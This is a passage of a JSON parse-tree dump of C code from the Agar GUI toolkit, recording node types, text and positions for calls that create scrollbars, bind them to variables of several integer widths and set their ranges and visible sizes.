1}, "end_point": {"row": 34, "column": 27}}, {"id": 141, "type": "identifier", "text": "AG_SetInt", "parent": 140, "children": [], "start_point": {"row": 34, "column": 1}, "end_point": {"row": 34, "column": 10}}, {"id": 142, "type": "argument_list", "text": "(sb, \"inc\", 1000)", "parent": 140, "children": [143, 144, 145], "start_point": {"row": 34, "column": 10}, "end_point": {"row": 34, "column": 27}}, {"id": 143, "type": "identifier", "text": "sb", "parent": 142, "children": [], "start_point": {"row": 34, "column": 11}, "end_point": {"row": 34, "column": 13}}, {"id": 144, "type": "string_literal", "text": "\"inc\"", "parent": 142, "children": [], "start_point": {"row": 34, "column": 15}, "end_point": {"row": 34, "column": 20}}, {"id": 145, "type": "number_literal", "text": "1000", "parent": 142, "children": [], "start_point": {"row": 34, "column": 22}, "end_point": {"row": 34, "column": 26}}, {"id": 146, "type": "call_expression", "text": "AG_LabelNewPolled(win, AG_LABEL_HFILL, \"Uint binding: %d (vis=1000)\", &vUint)", "parent": 62, "children": [147, 148], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 78}}, {"id": 147, "type": "identifier", "text": "AG_LabelNewPolled", "parent": 146, "children": [], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 18}}, {"id": 148, "type": "argument_list", "text": "(win, AG_LABEL_HFILL, \"Uint binding: %d (vis=1000)\", &vUint)", "parent": 146, "children": [149, 150, 151, 152], "start_point": {"row": 36, "column": 18}, "end_point": {"row": 36, "column": 78}}, {"id": 149, "type": "identifier", "text": "win", "parent": 148, "children": [], "start_point": {"row": 36, "column": 19}, "end_point": {"row": 36, "column": 22}}, {"id": 150, "type": "identifier", "text": "AG_LABEL_HFILL", "parent": 148, "children": [], "start_point": {"row": 36, "column": 24}, "end_point": {"row": 36, "column": 38}}, {"id": 151, "type": "string_literal", "text": "\"Uint binding: %d (vis=1000)\"", "parent": 148, "children": [], "start_point": {"row": 36, "column": 40}, "end_point": {"row": 36, "column": 69}}, {"id": 152, "type": "pointer_expression", "text": "&vUint", "parent": 148, "children": [153], "start_point": {"row": 36, "column": 71}, "end_point": {"row": 36, "column": 77}}, {"id": 153, "type": "identifier", "text": "vUint", "parent": 152, "children": [], "start_point": {"row": 36, "column": 72}, "end_point": {"row": 36, "column": 77}}, {"id": 154, "type": "assignment_expression", "text": "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 62, "children": [155, 156, 157], "start_point": {"row": 37, "column": 1}, "end_point": {"row": 37, "column": 53}}, {"id": 155, "type": "identifier", "text": "sb", "parent": 154, "children": [], "start_point": {"row": 37, "column": 1}, "end_point": {"row": 37, "column": 3}}, {"id": 156, "type": "=", "text": "=", "parent": 154, "children": [], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 5}}, {"id": 157, "type": "call_expression", "text": "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 154, "children": [158, 159], "start_point": {"row": 37, "column": 6}, "end_point": {"row": 37, "column": 53}}, {"id": 158, "type": "identifier", "text": "AG_ScrollbarNew", "parent": 157, "children": [], "start_point": {"row": 37, "column": 6}, "end_point": {"row": 37, "column": 21}}, {"id": 159, "type": "argument_list", "text": "(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 157, "children": [160, 161, 162], "start_point": {"row": 37, "column": 21}, "end_point": {"row": 37, "column": 53}}, {"id": 160, "type": "identifier", "text": "win", "parent": 159, "children": [], "start_point": {"row": 37, "column": 22}, "end_point": {"row": 37, "column": 25}}, {"id": 161, "type": "identifier", "text": "AG_SCROLLBAR_HORIZ", "parent": 159, "children": [], "start_point": {"row": 37, "column": 27}, "end_point": {"row": 37, "column": 45}}, {"id": 162, "type": "identifier", "text": "flags", "parent": 159, "children": [], "start_point": {"row": 37, "column": 47}, "end_point": {"row": 37, "column": 52}}, {"id": 163, "type": "call_expression", "text": "AG_BindUint(sb, \"value\", &vUint)", "parent": 62, "children": [164, 165], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 38, "column": 33}}, {"id": 164, "type": "identifier", "text": "AG_BindUint", "parent": 163, "children": [], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 38, "column": 12}}, {"id": 165, "type": "argument_list", "text": "(sb, \"value\", &vUint)", "parent": 163, "children": [166, 167, 168], "start_point": {"row": 38, "column": 12}, "end_point": {"row": 38, "column": 33}}, {"id": 166, "type": "identifier", "text": "sb", "parent": 165, "children": [], "start_point": {"row": 38, "column": 13}, "end_point": {"row": 38, "column": 15}}, {"id": 167, "type": "string_literal", "text": "\"value\"", "parent": 165, "children": [], "start_point": {"row": 38, "column": 17}, "end_point": {"row": 38, "column": 24}}, {"id": 168, "type": "pointer_expression", "text": "&vUint", "parent": 165, "children": [169], "start_point": {"row": 38, "column": 26}, "end_point": {"row": 38, "column": 32}}, {"id": 169, "type": "identifier", "text": "vUint", "parent": 168, "children": [], "start_point": {"row": 38, "column": 27}, "end_point": {"row": 38, "column": 32}}, {"id": 170, "type": "call_expression", "text": "AG_SetUint(sb, \"min\", 0)", "parent": 62, "children": [171, 172], "start_point": {"row": 39, "column": 1}, "end_point": {"row": 39, "column": 25}}, {"id": 171, "type": "identifier", "text": "AG_SetUint", "parent": 170, "children": [], "start_point": {"row": 39, "column": 1}, "end_point": {"row": 39, "column": 11}}, {"id": 172, "type": "argument_list", "text": "(sb, \"min\", 0)", "parent": 170, "children": [173, 174, 175], "start_point": {"row": 39, "column": 11}, "end_point": {"row": 39, "column": 25}}, {"id": 173, "type": "identifier", "text": "sb", "parent": 172, "children": [], "start_point": {"row": 39, "column": 12}, "end_point": {"row": 39, "column": 14}}, {"id": 174, "type": "string_literal", "text": "\"min\"", "parent": 172, "children": [], "start_point": {"row": 39, "column": 16}, "end_point": {"row": 39, "column": 21}}, {"id": 175, "type": "number_literal", "text": "0", "parent": 172, "children": [], "start_point": {"row": 39, "column": 23}, "end_point": {"row": 39, "column": 24}}, {"id": 176, "type": "call_expression", "text": "AG_SetUint(sb, \"max\", 10000)", "parent": 62, "children": [177, 178], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 29}}, {"id": 177, "type": "identifier", "text": "AG_SetUint", "parent": 176, "children": [], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 11}}, {"id": 178, "type": "argument_list", "text": "(sb, \"max\", 10000)", "parent": 176, "children": [179, 180, 181], "start_point": {"row": 40, "column": 11}, "end_point": {"row": 40, "column": 29}}, {"id": 179, "type": "identifier", "text": "sb", "parent": 178, "children": [], "start_point": {"row": 40, "column": 12}, "end_point": {"row": 40, "column": 14}}, {"id": 180, "type": "string_literal", "text": "\"max\"", "parent": 178, "children": [], "start_point": {"row": 40, "column": 16}, "end_point": {"row": 40, "column": 21}}, {"id": 181, "type": "number_literal", "text": "10000", "parent": 178, "children": [], "start_point": {"row": 40, "column": 23}, "end_point": {"row": 40, "column": 28}}, {"id": 182, "type": "call_expression", "text": "AG_SetUint(sb, \"inc\", 1000)", "parent": 62, "children": [183, 184], "start_point": {"row": 41, "column": 1}, "end_point": {"row": 41, "column": 28}}, {"id": 183, "type": "identifier", "text": "AG_SetUint", "parent": 182, "children": [], "start_point": {"row": 41, "column": 1}, "end_point": {"row": 41, "column": 11}}, {"id": 184, "type": "argument_list", "text": "(sb, \"inc\", 1000)", "parent": 182, "children": [185, 186, 187], "start_point": {"row": 41, "column": 11}, "end_point": {"row": 41, "column": 28}}, {"id": 185, "type": "identifier", "text": "sb", "parent": 184, "children": [], "start_point": {"row": 41, "column": 12}, "end_point": {"row": 41, "column": 14}}, {"id": 186, "type": "string_literal", "text": "\"inc\"", "parent": 184, "children": [], "start_point": {"row": 41, "column": 16}, "end_point": {"row": 41, "column": 21}}, {"id": 187, "type": "number_literal", "text": "1000", "parent": 184, "children": [], "start_point": {"row": 41, "column": 23}, "end_point": {"row": 41, "column": 27}}, {"id": 188, "type": "call_expression", "text": "AG_SetUint(sb, \"visible\", 1000)", "parent": 62, "children": [189, 190], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 32}}, {"id": 189, "type": "identifier", "text": "AG_SetUint", "parent": 188, "children": [], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 11}}, {"id": 190, "type": "argument_list", "text": "(sb, \"visible\", 1000)", "parent": 188, "children": [191, 192, 193], "start_point": {"row": 42, "column": 11}, "end_point": {"row": 42, "column": 32}}, {"id": 191, "type": "identifier", "text": "sb", "parent": 190, "children": [], "start_point": {"row": 42, "column": 12}, "end_point": {"row": 42, "column": 14}}, {"id": 192, "type": "string_literal", "text": "\"visible\"", "parent": 190, "children": [], "start_point": {"row": 42, "column": 16}, "end_point": {"row": 42, "column": 25}}, {"id": 193, "type": "number_literal", "text": "1000", "parent": 190, "children": [], "start_point": {"row": 42, "column": 27}, "end_point": {"row": 42, "column": 31}}, {"id": 194, "type": "call_expression", "text": "AG_LabelNewPolled(win, AG_LABEL_HFILL, \"8-bit binding: %[s8] (vis=50)\", &v8)", "parent": 62, "children": [195, 196], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 77}}, {"id": 195, "type": "identifier", "text": "AG_LabelNewPolled", "parent": 194, "children": [], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 18}}, {"id": 196, "type": "argument_list", "text": "(win, AG_LABEL_HFILL, \"8-bit binding: %[s8] (vis=50)\", &v8)", "parent": 194, "children": [197, 198, 199, 200], "start_point": {"row": 44, "column": 18}, "end_point": {"row": 44, "column": 77}}, {"id": 197, "type": "identifier", "text": "win", "parent": 196, "children": [], "start_point": {"row": 44, "column": 19}, "end_point": {"row": 44, "column": 22}}, {"id": 198, "type": "identifier", "text": "AG_LABEL_HFILL", "parent": 196, "children": [], "start_point": {"row": 44, "column": 24}, "end_point": {"row": 44, "column": 38}}, {"id": 199, "type": "string_literal", "text": "\"8-bit binding: %[s8] (vis=50)\"", "parent": 196, "children": [], "start_point": {"row": 44, "column": 40}, "end_point": {"row": 44, "column": 71}}, {"id": 200, "type": "pointer_expression", "text": "&v8", "parent": 196, "children": [201], "start_point": {"row": 44, "column": 73}, "end_point": {"row": 44, "column": 76}}, {"id": 201, "type": "identifier", "text": "v8", "parent": 200, "children": [], "start_point": {"row": 44, "column": 74}, "end_point": {"row": 44, "column": 76}}, {"id": 202, "type": "assignment_expression", "text": "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 62, "children": [203, 204, 205], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 53}}, {"id": 203, "type": "identifier", "text": "sb", "parent": 202, "children": [], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 3}}, {"id": 204, "type": "=", "text": "=", "parent": 202, "children": [], "start_point": {"row": 45, "column": 4}, "end_point": {"row": 45, "column": 5}}, {"id": 205, "type": "call_expression", "text": "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 202, "children": [206, 207], "start_point": {"row": 45, "column": 6}, "end_point": {"row": 45, "column": 53}}, {"id": 206, "type": "identifier", "text": "AG_ScrollbarNew", "parent": 205, "children": [], "start_point": {"row": 45, "column": 6}, "end_point": {"row": 45, "column": 21}}, {"id": 207, "type": "argument_list", "text": "(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 205, "children": [208, 209, 210], "start_point": {"row": 45, "column": 21}, "end_point": {"row": 45, "column": 53}}, {"id": 208, "type": "identifier", "text": "win", "parent": 207, "children": [], "start_point": {"row": 45, "column": 22}, "end_point": {"row": 45, "column": 25}}, {"id": 209, "type": "identifier", "text": "AG_SCROLLBAR_HORIZ", "parent": 207, "children": [], "start_point": {"row": 45, "column": 27}, "end_point": {"row": 45, "column": 45}}, {"id": 210, "type": "identifier", "text": "flags", "parent": 207, "children": [], "start_point": {"row": 45, "column": 47}, "end_point": {"row": 45, "column": 52}}, {"id": 211, "type": "call_expression", "text": "AG_BindSint8(sb, \"value\", &v8)", "parent": 62, "children": [212, 213], "start_point": {"row": 46, "column": 1}, "end_point": {"row": 46, "column": 31}}, {"id": 212, "type": "identifier", "text": "AG_BindSint8", "parent": 211, "children": [], "start_point": {"row": 46, "column": 1}, "end_point": {"row": 46, "column": 13}}, {"id": 213, "type": "argument_list", "text": "(sb, \"value\", &v8)", "parent": 211, "children": [214, 215, 216], "start_point": {"row": 46, "column": 13}, "end_point": {"row": 46, "column": 31}}, {"id": 214, "type": "identifier", "text": "sb", "parent": 213, "children": [], "start_point": {"row": 46, "column": 14}, "end_point": {"row": 46, "column": 16}}, {"id": 215, "type": "string_literal", "text": "\"value\"", "parent": 213, "children": [], "start_point": {"row": 46, "column": 18}, "end_point": {"row": 46, "column": 25}}, {"id": 216, "type": "pointer_expression", "text": "&v8", "parent": 213, "children": [217], "start_point": {"row": 46, "column": 27}, "end_point": {"row": 46, "column": 30}}, {"id": 217, "type": "identifier", "text": "v8", "parent": 216, "children": [], "start_point": {"row": 46, "column": 28}, "end_point": {"row": 46, "column": 30}}, {"id": 218, "type": "call_expression", "text": "AG_SetSint8(sb, \"visible\", 50)", "parent": 62, "children": [219, 220], "start_point": {"row": 47, "column": 1}, "end_point": {"row": 47, "column": 31}}, {"id": 219, "type": "identifier", "text": "AG_SetSint8", "parent": 218, "children": [], "start_point": {"row": 47, "column": 1}, "end_point": {"row": 47, "column": 12}}, {"id": 220, "type": "argument_list", "text": "(sb, \"visible\", 50)", "parent": 218, "children": [221, 222, 223], "start_point": {"row": 47, "column": 12}, "end_point": {"row": 47, "column": 31}}, {"id": 221, "type": "identifier", "text": "sb", "parent": 220, "children": [], "start_point": {"row": 47, "column": 13}, "end_point": {"row": 47, "column": 15}}, {"id": 222, "type": "string_literal", "text": "\"visible\"", "parent": 220, "children": [], "start_point": {"row": 47, "column": 17}, "end_point": {"row": 47, "column": 26}}, {"id": 223, "type": "number_literal", "text": "50", "parent": 220, "children": [], "start_point": {"row": 47, "column": 28}, "end_point": {"row": 47, "column": 30}}, {"id": 224, "type": "call_expression", "text": "AG_LabelNewPolled(win, AG_LABEL_HFILL, \"32-bit binding: %[u32] (vis=10)\", &v32)", "parent": 62, "children": [225, 226], "start_point": {"row": 49, "column": 1}, "end_point": {"row": 49, "column": 80}}, {"id": 225, "type": "identifier", "text": "AG_LabelNewPolled", "parent": 224, "children": [], "start_point": {"row": 49, "column": 1}, "end_point": {"row": 49, "column": 18}}, {"id": 226, "type": "argument_list", "text": "(win, AG_LABEL_HFILL, \"32-bit binding: %[u32] (vis=10)\", &v32)", "parent": 224, "children": [227, 228, 229, 230], "start_point": {"row": 49, "column": 18}, "end_point": {"row": 49, "column": 80}}, {"id": 227, "type": "identifier", "text": "win", "parent": 226, "children": [], "start_point": {"row": 49, "column": 19}, "end_point": {"row": 49, "column": 22}}, {"id": 228, "type": "identifier", "text": "AG_LABEL_HFILL", "parent": 226, "children": [], "start_point": {"row": 49, "column": 24}, "end_point": {"row": 49, "column": 38}}, {"id": 229, "type": "string_literal", "text": "\"32-bit binding: %[u32] (vis=10)\"", "parent": 226, "children": [], "start_point": {"row": 49, "column": 40}, "end_point": {"row": 49, "column": 73}}, {"id": 230, "type": "pointer_expression", "text": "&v32", "parent": 226, "children": [231], "start_point": {"row": 49, "column": 75}, "end_point": {"row": 49, "column": 79}}, {"id": 231, "type": "identifier", "text": "v32", "parent": 230, "children": [], "start_point": {"row": 49, "column": 76}, "end_point": {"row": 49, "column": 79}}, {"id": 232, "type": "assignment_expression", "text": "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 62, "children": [233, 234, 235], "start_point": {"row": 50, "column": 1}, "end_point": {"row": 50, "column": 53}}, {"id": 233, "type": "identifier", "text": "sb", "parent": 232, "children": [], "start_point": {"row": 50, "column": 1}, "end_point": {"row": 50, "column": 3}}, {"id": 234, "type": "=", "text": "=", "parent": 232, "children": [], "start_point": {"row": 50, "column": 4}, "end_point": {"row": 50, "column": 5}}, {"id": 235, "type": "call_expression", "text": "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 232, "children": [236, 237], "start_point": {"row": 50, "column": 6}, "end_point": {"row": 50, "column": 53}}, {"id": 236, "type": "identifier", "text": "AG_ScrollbarNew", "parent": 235, "children": [], "start_point": {"row": 50, "column": 6}, "end_point": {"row": 50, "column": 21}}, {"id": 237, "type": "argument_list", "text": "(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 235, "children": [238, 239, 240], "start_point": {"row": 50, "column": 21}, "end_point": {"row": 50, "column": 53}}, {"id": 238, "type": "identifier", "text": "win", "parent": 237, "children": [], "start_point": {"row": 50, "column": 22}, "end_point": {"row": 50, "column": 25}}, {"id": 239, "type": "identifier", "text": "AG_SCROLLBAR_HORIZ", "parent": 237, "children": [], "start_point": {"row": 50, "column": 27}, "end_point": {"row": 50, "column": 45}}, {"id": 240, "type": "identifier", "text": "flags", "parent": 237, "children": [], "start_point": {"row": 50, "column": 47}, "end_point": {"row": 50, "column": 52}}, {"id": 241, "type": "call_expression", "text": "AG_BindUint32(sb, \"value\", &v32)", "parent": 62, "children": [242, 243], "start_point": {"row": 51, "column": 1}, "end_point": {"row": 51, "column": 33}}, {"id": 242, "type": "identifier", "text": "AG_BindUint32", "parent": 241, "children": [], "start_point": {"row": 51, "column": 1}, "end_point": {"row": 51, "column": 14}}, {"id": 243, "type": "argument_list", "text": "(sb, \"value\", &v32)", "parent": 241, "children": [244, 245, 246], "start_point": {"row": 51, "column": 14}, "end_point": {"row": 51, "column": 33}}, {"id": 244, "type": "identifier", "text": "sb", "parent": 243, "children": [], "start_point": {"row": 51, "column": 15}, "end_point": {"row": 51, "column": 17}}, {"id": 245, "type": "string_literal", "text": "\"value\"", "parent": 243, "children": [], "start_point": {"row": 51, "column": 19}, "end_point": {"row": 51, "column": 26}}, {"id": 246, "type": "pointer_expression", "text": "&v32", "parent": 243, "children": [247], "start_point": {"row": 51, "column": 28}, "end_point": {"row": 51, "column": 32}}, {"id": 247, "type": "identifier", "text": "v32", "parent": 246, "children": [], "start_point": {"row": 51, "column": 29}, "end_point": {"row": 51, "column": 32}}, {"id": 248, "type": "call_expression", "text": "AG_SetUint32(sb, \"min\", 0)", "parent": 62, "children": [249, 250], "start_point": {"row": 52, "column": 1}, "end_point": {"row": 52, "column": 27}}, {"id": 249, "type": "identifier", "text": "AG_SetUint32", "parent": 248, "children": [], "start_point": {"row": 52, "column": 1}, "end_point": {"row": 52, "column": 13}}, {"id": 250, "type": "argument_list", "text": "(sb, \"min\", 0)", "parent": 248, "children": [251, 252, 253], "start_point": {"row": 52, "column": 13}, "end_point": {"row": 52, "column": 27}}, {"id": 251, "type": "identifier", "text": "sb", "parent": 250, "children": [], "start_point": {"row": 52, "column": 14}, "end_point": {"row": 52, "column": 16}}, {"id": 252, "type": "string_literal", "text": "\"min\"", "parent": 250, "children": [], "start_point": {"row": 52, "column": 18}, "end_point": {"row": 52, "column": 23}}, {"id": 253, "type": "number_literal", "text": "0", "parent": 250, "children": [], "start_point": {"row": 52, "column": 25}, "end_point": {"row": 52, "column": 26}}, {"id": 254, "type": "call_expression", "text": "AG_SetUint32(sb, \"max\", 100)", "parent": 62, "children": [255, 256], "start_point": {"row": 53, "column": 1}, "end_point": {"row": 53, "column": 29}}, {"id": 255, "type": "identifier", "text": "AG_SetUint32", "parent": 254, "children": [], "start_point": {"row": 53, "column": 1}, "end_point": {"row": 53, "column": 13}}, {"id": 256, "type": "argument_list", "text": "(sb, \"max\", 100)", "parent": 254, "children": [257, 258, 259], "start_point": {"row": 53, "column": 13}, "end_point": {"row": 53, "column": 29}}, {"id": 257, "type": "identifier", "text": "sb", "parent": 256, "children": [], "start_point": {"row": 53, "column": 14}, "end_point": {"row": 53, "column": 16}}, {"id": 258, "type": "string_literal", "text": "\"max\"", "parent": 256, "children": [], "start_point": {"row": 53, "column": 18}, "end_point": {"row": 53, "column": 23}}, {"id": 259, "type": "number_literal", "text": "100", "parent": 256, "children": [], "start_point": {"row": 53, "column": 25}, "end_point": {"row": 53, "column": 28}}, {"id": 260, "type": "call_expression", "text": "AG_SetUint32(sb, \"visible\", 10)", "parent": 62, "children": [261, 262], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 32}}, {"id": 261, "type": "identifier", "text": "AG_SetUint32", "parent": 260, "children": [], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 13}}, {"id": 262, "type": "argument_list", "text": "(sb, \"visible\", 10)", "parent": 260, "children": [263, 264, 265], "start_point": {"row": 54, "column": 13}, "end_point": {"row": 54, "column": 32}}, {"id": 263, "type": "identifier", "text": "sb", "parent": 262, "children": [], "start_point": {"row": 54, "column": 14}, "end_point": {"row": 54, "column": 16}}, {"id": 264, "type": "string_literal", "text": "\"visible\"", "parent": 262, "children": [], "start_point": {"row": 54, "column": 18}, "end_point": {"row": 54, "column": 27}}, {"id": 265, "type": "number_literal", "text": "10", "parent": 262, "children": [], "start_point": {"row": 54, "column": 29}, "end_point": {"row": 54, "column": 31}}, {"id": 266, "type": "preproc_ifdef", "text": "#ifdef AG_HAVE_64BIT\n\tAG_LabelNewPolled(win, AG_LABEL_HFILL, \"64-bit binding: %[u64] (vis=10)\", &v64);\n\tsb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags);\n\tAG_BindUint64(sb, \"value\", &v64);\n\tAG_SetUint64(sb, \"min\", 0ULL);\n\tAG_SetUint64(sb, \"max\", 100ULL);\n\tAG_SetUint64(sb, \"visible\", 10ULL);\n#endif", "parent": 62, "children": [267, 268, 311], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 63, "column": 6}}, {"id": 267, "type": "#ifdef", "text": "#ifdef", "parent": 266, "children": [], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 56, "column": 6}}, {"id": 268, "type": "identifier", "text": "AG_HAVE_64BIT", "parent": 266, "children": [], "start_point": {"row": 56, "column": 7}, "end_point": {"row": 56, "column": 20}}, {"id": 269, "type": "call_expression", "text": "AG_LabelNewPolled(win, AG_LABEL_HFILL, \"64-bit binding: %[u64] (vis=10)\", &v64)", "parent": 266, "children": [270, 271], "start_point": {"row": 57, "column": 1}, "end_point": {"row": 57, "column": 80}}, {"id": 270, "type": "identifier", "text": "AG_LabelNewPolled", "parent": 269, "children": [], "start_point": {"row": 57, "column": 1}, "end_point": {"row": 57, "column": 18}}, {"id": 271, "type": "argument_list", "text": "(win, AG_LABEL_HFILL, \"64-bit binding: %[u64] (vis=10)\", &v64)", "parent": 269, "children": [272, 273, 274, 275], "start_point": {"row": 57, "column": 18}, "end_point": {"row": 57, "column": 80}}, {"id": 272, "type": "identifier", "text": "win", "parent": 271, "children": [], "start_point": {"row": 57, "column": 19}, "end_point": {"row": 57, "column": 22}}, {"id": 273, "type": "identifier", "text": "AG_LABEL_HFILL", "parent": 271, "children": [], "start_point": {"row": 57, "column": 24}, "end_point": {"row": 57, "column": 38}}, {"id": 274, "type": "string_literal", "text": "\"64-bit binding: %[u64] (vis=10)\"", "parent": 271, "children": [], "start_point": {"row": 57, "column": 40}, "end_point": {"row": 57, "column": 73}}, {"id": 275, "type": "pointer_expression", "text": "&v64", "parent": 271, "children": [276], "start_point": {"row": 57, "column": 75}, "end_point": {"row": 57, "column": 79}}, {"id": 276, "type": "identifier", "text": "v64", "parent": 275, "children": [], "start_point": {"row": 57, "column": 76}, "end_point": {"row": 57, "column": 79}}, {"id": 277, "type": "assignment_expression", "text": "sb = AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 266, "children": [278, 279, 280], "start_point": {"row": 58, "column": 1}, "end_point": {"row": 58, "column": 53}}, {"id": 278, "type": "identifier", "text": "sb", "parent": 277, "children": [], "start_point": {"row": 58, "column": 1}, "end_point": {"row": 58, "column": 3}}, {"id": 279, "type": "=", "text": "=", "parent": 277, "children": [], "start_point": {"row": 58, "column": 4}, "end_point": {"row": 58, "column": 5}}, {"id": 280, "type": "call_expression", "text": "AG_ScrollbarNew(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 277, "children": [281, 282], "start_point": {"row": 58, "column": 6}, "end_point": {"row": 58, "column": 53}}, {"id": 281, "type": "identifier", "text": "AG_ScrollbarNew", "parent": 280, "children": [], "start_point": {"row": 58, "column": 6}, "end_point": {"row": 58, "column": 21}}, {"id": 282, "type": "argument_list", "text": "(win, AG_SCROLLBAR_HORIZ, flags)", "parent": 280, "children": [283, 284, 285], "start_point": {"row": 58, "column": 21}, "end_point": {"row": 58, "column": 53}}, {"id": 283, "type": "identifier", "text": "win", "parent": 282, "children": [], "start_point": {"row": 58, "column": 22}, "end_point": {"row": 58, "column": 25}}, {"id": 284, "type": "identifier", "text": "AG_SCROLLBAR_HORIZ", "parent": 282, "children": [], "start_point": {"row": 58, "column": 27}, "end_point": {"row": 58, "column": 45}}, {"id": 285, "type": "identifier", "text": "flags", "parent": 282, "children": [], "start_point": {"row": 58, "column": 47}, "end_point": {"row": 58, "column": 52}}, {"id": 286, "type": "call_expression", "text": "AG_BindUint64(sb, \"value\", &v64)", "parent": 266, "children": [287, 288], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 33}}, {"id": 287, "type": "identifier", "text": "AG_BindUint64", "parent": 286, "children": [], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 14}}, {"id": 288, "type": "argument_list", "text": "(sb, \"value\", &v64)", "parent": 286, "children": [289, 290, 291], "start_point": {"row": 59, "column": 14}, "end_point": {"row": 59, "column": 33}}, {"id": 289, "type": "identifier", "text": "sb", "parent": 288, "children": [], "start_point": {"row": 59, "column": 15}, "end_point": {"row": 59, "column": 17}}, {"id": 290, "type": "string_literal", "text": "\"value\"", "parent": 288, "children": [], "start_point": {"row": 59, "column": 19}, "end_point": {"row": 59, "column": 26}}, {"id": 291, "type": "pointer_expression", "text": "&v64", "parent": 288, "children": [292], "start_point": {"row": 59, "column": 28}, "end_point": {"row": 59, "column": 32}}, {"id": 292, "type": "identifier", "text": "v64", "parent": 291, "children": [], "start_point": {"row": 59, "column": 29}, "end_point": {"row": 59, "column": 32}}, {"id": 293, "type": "call_expression", "text": "AG_SetUint64(sb, \"min\", 0ULL)", "parent": 266, "children": [294, 295], "start_point": {"row": 60, "column": 1}, "end_point": {"row": 60, "column": 30}}, {"id": 294, "type": "identifier", "text": "AG_SetUint64", "parent": 293, "children": [], "start_point": {"row": 60, "column": 1}, "end_point": {"row": 60, "column": 13}}, {"id": 295, "type": "argument_list", "text": "(sb, \"min\", 0ULL)", "parent": 293, "children": [296, 297, 298], "start_point": {"row": 60, "column": 13}, "end_point": {"row": 60, "column": 30}}, {"id": 296, "type": "identifier", "text": "sb", "parent": 295, "children": [], "start_point": {"row": 60, "column": 14}, "end_point": {"row": 60, "column": 16}}, {"id": 297, "type": "string_literal", "text": "\"min\"", "parent": 295, "children": [], "start_point": {"row": 60, "column": 18}, "end_point": {"row": 60, "column": 23}}, {"id": 298, "type": "number_literal", "text": "0ULL", "parent": 295, "children": [], "start_point": {"row": 60, "column": 25}, "end_point": {"row": 60, "column": 29}}, {"id": 299, "type": "call_expression", "text": "AG_SetUint64(sb, \"max\", 100ULL)", "parent": 266, "children": [300, 301], "start_point": {"row": 61, "column": 1}, "end_point": {"row": 61, "column": 32}}, {"id": 300, "type": "identifier", "text": "AG_SetUint64", "parent": 299, "children": [], "start_point": {"row": 61, "column": 1}, "end_point": {"row": 61, "column": 13}}, {"id": 301, "type": "argument_list", "text": "(sb, \"max\", 100ULL)", "parent": 299, "children": [302, 303, 304], "start_point": {"row": 61, "column": 13}, "end_point": {"row": 61, "column": 32}}, {"id": 302, "type": "identifier", "text": "sb", "parent": 301, "children": [], "start_point": {"row": 61, "column": 14}, "end_point": {"row": 61, "column": 16}}, {"id": 303, "type": "string_literal", "text": "\"max\"", "parent": 301, "children": [], "start_point": {"row": 61, "column": 18}, "end_point": {"row": 61, "column": 23}}, {"id": 304, "type": "number_literal", "text": "100ULL", "parent": 301, "children": [], "start_point": {"row": 61, "column": 25}, "end_point": {"row": 61, "column": 31}}, {"id": 305, "type": "call_expression", "text": "AG_SetUint64(sb, \"visible\", 10ULL)", "parent": 266, "children": [306, 307], "start_point": {"row": 62, "column": 1}, "end_point": {"row": 62, "column": 35}}, {"id": 306, "type": "identifier", "text": "AG_SetUint64", "parent": 305, "children": [], "start_point": {"row": 62, "column": 1}, "end_point": {"row": 62, "column": 13}}, {"id": 307, "type": "argument_list", "text": "(sb, \"visible\", 10ULL)", "parent": 305, "children": [308, 309, 310], "start_point": {"row": 62, "column": 13}, "end_point": {"row": 62, "column": 35}}, {"id": 308, "type": "identifier", "text": "sb", "parent": 307, "children": [], "start_point": {"row": 62, "column": 14}, "end_point": {"row": 62, "column": 16}}, {"id": 309, "type": "string_literal", "text": "\"visible\"", "parent": 307, "children": [], "start_point": {"row": 62, "column": 18}, "end_point": {"row": 62, "column": 27}}, {"id": 310, "type": "number_literal", "text": "10ULL", "parent": 307, "children": [], "start_point": {"row": 62, "column": 29}, "end_point": {"row": 62, "column": 34}}, {"id": 311, "type": "#endif", "text": "#endif", "parent": 266, "children": [], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 63, "column": 6}}, {"id": 312, "type": "call_expression", "text": "AG_LabelNewPolled(win, AG_LABEL_HFILL, \"Float binding: %f\", &vFlt)", "parent": 62, "children": [313, 314], "start_point": {"row": 64, "column": 1}, "end_point": {"row": 64, "column": 67}}, {"id": 313, "type": "identifier", "text": "AG_LabelNewPolled", "parent": 312, "children": [], "start_point": {"row": 64, "column": 1}, "end_point": {"row": 64, "column": 18}}, {"id": 314, "type": "argument_list", "text": "(win, 